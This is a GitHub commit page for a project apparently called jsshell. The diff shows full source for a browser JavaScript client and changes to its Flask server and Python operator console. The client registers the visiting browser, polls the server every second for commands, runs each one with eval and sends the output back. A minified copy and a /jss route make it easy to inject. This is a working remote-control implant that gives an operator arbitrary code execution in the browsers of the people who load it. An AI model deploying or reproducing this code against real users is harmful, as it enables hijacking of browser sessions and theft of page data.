Skip to content

Commit 70a2f99

Browse files
authored
Merge pull request Den1al#5 from Den1al/develop
added status column in shell, moved js from the html, added uglified version
2 parents 9680ef9 + 8836605 commit 70a2f99

File tree

5 files changed

+122
-134
lines changed

5 files changed

+122
-134
lines changed

app/static/js/jss.js

Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
! function foo(config) {
2+
3+
/* Eval Context */
4+
this.context = {};
5+
6+
/* Logging functions */
7+
this.log = function (text) {
8+
if (config["debug"]) {
9+
console.log("debug: ", text)
10+
}
11+
};
12+
this.err = function (errText) {
13+
console.log("error: ", errText)
14+
};
15+
16+
/* get a unique identifier */
17+
this.getUUID = function () {
18+
function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); }
19+
return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
20+
};
21+
22+
/* register as a new client */
23+
this.register = function () {
24+
var formData = {
25+
'uuid': getUUID(),
26+
'user_agent' : navigator.userAgent
27+
};
28+
29+
$.ajax({
30+
url: "/register/",
31+
type: "POST",
32+
data: formData,
33+
success: function (data, textStatus, jqXHR) {
34+
log(data);
35+
},
36+
error: function (jqXHR, textStatus, errorThrown) {
37+
err(textStatus);
38+
}
39+
});
40+
41+
this.id = formData['uuid'];
42+
};
43+
44+
/* fetch a new command from the command queue */
45+
this.getCommand = function() {
46+
47+
$.ajax({
48+
url: "/get_command/" + this.id,
49+
type: "GET",
50+
dataType: 'json',
51+
context: this,
52+
success: function (data, textStatus, jqXHR) {
53+
if (!('error' in data ) && ('success' in data))
54+
{
55+
var cmd = data['success'];
56+
var cmd_id = data['cmd_id'];
57+
this.exec(cmd, cmd_id);
58+
}
59+
log(data);
60+
},
61+
error: function (jqXHR, textStatus, errorThrown) {
62+
err(textStatus);
63+
}
64+
})
65+
};
66+
67+
/* executes a command in the eval context */
68+
this.exec = function(cmd, cmd_id) {
69+
try
70+
{
71+
var out = eval.call(this.context, cmd);
72+
var js = JSON.prune(out);
73+
74+
//var out = JSON.stringify(eval(cmd));
75+
this.postBack({'output' : js, 'cmd_id' : cmd_id, 'uuid' : this.id});
76+
}
77+
catch(err)
78+
{
79+
this.postBack({'output' : err.message, 'cmd_id' : cmd_id, 'uuid' : this.id});
80+
}
81+
};
82+
83+
/* when a command has finished executing, post it back to the server */
84+
this.postBack = function(data) {
85+
86+
$.ajax({
87+
url: "/post_back/",
88+
type: "POST",
89+
data: data,
90+
success: function (data, textStatus, jqXHR) {
91+
log(data);
92+
},
93+
error: function (jqXHR, textStatus, errorThrown) {
94+
err(errorThrown);
95+
}
96+
});
97+
};
98+
99+
/* Main */
100+
this.register();
101+
setInterval(this.getCommand, 1000);
102+
103+
}({
104+
'debug' : true
105+
});

app/static/js/ugly.js

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

app/templates/index.html

Lines changed: 2 additions & 129 deletions
Original file line numberDiff line numberDiff line change
@@ -10,135 +10,8 @@
1010

1111
<code>var s = "jsshell_client";</code>
1212

13-
<!-- Shell Body -->
14-
15-
<script>
16-
! function foo(config) {
17-
18-
/* Eval Context */
19-
this.context = {};
20-
21-
/* Logging functions */
22-
this.log = function (text) {
23-
if (config["debug"]) {
24-
console.log("debug: ", text)
25-
}
26-
};
27-
this.err = function (errText) {
28-
console.log("error: ", errText)
29-
};
30-
31-
/* get a unique identifier */
32-
this.getUUID = function () {
33-
function s4() {
34-
return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
35-
}
36-
return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
37-
};
38-
39-
/* register as a new client */
40-
this.register = function () {
41-
var formData = {
42-
'uuid': getUUID(),
43-
'user_agent' : navigator.userAgent
44-
};
45-
46-
$.ajax({
47-
url: "/register/",
48-
type: "POST",
49-
data: formData,
50-
success: function (data, textStatus, jqXHR) {
51-
log(data);
52-
//log(textStatus);
53-
//log(jqXHR);
54-
},
55-
error: function (jqXHR, textStatus, errorThrown) {
56-
//err(jqXHR);
57-
err(textStatus);
58-
//err(errorThrown);
59-
}
60-
});
61-
62-
this.id = formData['uuid'];
63-
};
64-
65-
/* fetch a new command from the command queue */
66-
this.getCommand = function() {
67-
68-
$.ajax({
69-
url: "/get_command/" + this.id,
70-
type: "GET",
71-
dataType: 'json',
72-
context: this,
73-
success: function (data, textStatus, jqXHR) {
74-
75-
if (!('error' in data ) && ('success' in data))
76-
{
77-
var cmd = data['success'];
78-
var cmd_id = data['cmd_id'];
79-
this.exec(cmd, cmd_id);
80-
}
81-
82-
log(data);
83-
//log(textStatus);
84-
//log(jqXHR);
85-
},
86-
error: function (jqXHR, textStatus, errorThrown) {
87-
//err(jqXHR);
88-
err(textStatus);
89-
//err(errorThrown);
90-
}
91-
92-
})
93-
};
94-
95-
/* executes a command in the eval context */
96-
this.exec = function(cmd, cmd_id) {
97-
try
98-
{
99-
var out = eval.call(this.context, cmd);
100-
var js = JSON.prune(out);
101-
102-
//var out = JSON.stringify(eval(cmd));
103-
this.postBack({'output' : js, 'cmd_id' : cmd_id, 'uuid' : this.id});
104-
}
105-
catch(err)
106-
{
107-
this.postBack({'output' : err.message, 'cmd_id' : cmd_id, 'uuid' : this.id});
108-
}
109-
};
110-
111-
/* when a command has finished executing, post it back to the server */
112-
this.postBack = function(data) {
113-
114-
$.ajax({
115-
url: "/post_back/",
116-
type: "POST",
117-
data: data,
118-
success: function (data, textStatus, jqXHR) {
119-
log(data);
120-
//log(textStatus);
121-
//log(jqXHR);
122-
},
123-
error: function (jqXHR, textStatus, errorThrown) {
124-
//err(jqXHR);
125-
//err(textStatus);
126-
err(errorThrown);
127-
}
128-
});
129-
};
130-
131-
/* Main */
132-
this.register();
133-
setInterval(this.getCommand, 1000);
134-
135-
}({
136-
'debug' : true
137-
});
138-
139-
</script>
140-
141-
<!-- End Shell Body -->
13+
<!-- JS Shell -->
14+
<script src="{{ url_for('static', filename='js/ugly.js') }}"></script>
14215

14316
</body>
14417
</html>

app/views.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
from flask import url_for, redirect, render_template, request
1+
from flask import render_template, request, send_from_directory
22
from app import app, db
33
from .models import Client, Command
44
from .preflight_scripts import pf_scripts
@@ -67,3 +67,6 @@ def post_back():
6767

6868
return '200'
6969

70+
@app.route('/jss')
71+
def get_js_file():
72+
return send_from_directory('static', filename='js/ugly.js')

shell.py

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
from app import app, db
22
from app.models import Client, Command
33
from prettytable import PrettyTable
4-
# from threading import Thread
54
from time import sleep
65
from jsbeautifier import beautify
76

@@ -96,7 +95,7 @@ def display_commands(self, com_id = None):
9695

9796
return
9897

99-
t = PrettyTable(['ID', 'Command', 'Output'])
98+
t = PrettyTable(['ID', 'Status', 'Command', 'Output'])
10099
t.align = 'l'
101100
client = Client.query.filter_by(id=self.current_client_id).first()
102101
for com in client.commands:
@@ -107,7 +106,15 @@ def display_commands(self, com_id = None):
107106
if len(com.cmd) > 75:
108107
command = com.cmd[:73] + '...'
109108

110-
t.add_row([com.id, command, output])
109+
status = "waiting"
110+
111+
if com.is_served:
112+
status = "served"
113+
114+
if com.is_returned:
115+
status = "complete"
116+
117+
t.add_row([com.id, status, command, output])
111118

112119
print(t)
113120

@@ -163,7 +170,6 @@ def loop(self):
163170
if op == 'exit':
164171
print('Goodbye!')
165172
self.stay = False
166-
# t.join()
167173

168174
elif op == 'help':
169175
self.help_menu()

0 commit comments

Comments
 (0)